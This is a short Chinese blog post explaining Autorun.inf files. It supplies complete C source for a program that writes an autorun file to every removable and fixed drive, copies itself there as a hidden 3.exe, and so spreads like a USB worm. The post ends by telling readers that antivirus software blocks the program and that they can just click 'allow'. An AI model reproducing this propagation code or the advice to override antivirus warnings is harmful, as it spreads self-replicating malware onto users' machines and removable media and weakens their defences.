关于Autorun.inf文件

配置Autorun.inf文件可以使双击磁盘时,自动运行某一应用程序。但是现在只支持CD或者DVD媒体了(以前硬盘也可以)

关于Autorun.inf的组成部分可以参考https://msdn.microsoft.com/zh-cn/cc144200

c语言编写程序的原理是,遍历C~Z所有分区,检查其类型,对所有DRIVE_REMOVABLE||DRIVE_FIXED类型的分区,写入使自身自动运行的Autorun.inf文件,将自身复制到相应分区的根目录下,同时将自己的属性设置为隐藏

程序如下:

 1 #include<stdio.h>
 2 #include<windows.h>
 3 
 4 int main()
 5 {
 6     char Disk=NULL;
 7     UINT Type=0;
 8     FILE *fp;
 9     char strFileName[MAX_PATH]={0};
10     char szDriveName[4]={0};
11     wsprintf(szDriveName,"C:\0");
12 
13     for(szDriveName[0]='C';szDriveName[0]<'Z';szDriveName[0]++)
14     {
15         Type=GetDriveType(szDriveName);
16         if((Type==DRIVE_REMOVABLE)||(Type==DRIVE_FIXED))
17         {
18             Disk=szDriveName[0];
19             sprintf(strFileName,"%c:\\Autorun.inf",Disk);
20             fp=fopen(strFileName,"w+");
21             fprintf(fp,"[AutoRun]\n");
22             fprintf(fp,"OPEN=3.exe\n");
23             fprintf(fp,"SHELLEXECUTE=3.exe\n");
24             fprintf(fp,"shell\\Auto\\command=3.exe\n");
25             fprintf(fp,"shell=Auto");
26             fclose(fp);
27 
28             char selfPath[MAX_PATH];
29             char allRootPath[30];
30             GetModuleFileName(0,selfPath,MAX_PATH); 
31             sprintf(allRootPath,"%c:\\3.exe",Disk);
32             CopyFile(selfPath,allRootPath,TRUE);
33             SetFileAttributes(allRootPath,FILE_ATTRIBUTE_HIDDEN);
34         }
35     }
36     return 0;
37 }

程序被杀毒软件阻止了,点击允许操作就好

posted @ 2016-01-01 04:20  廖凡  阅读(900)  评论(0编辑  收藏  举报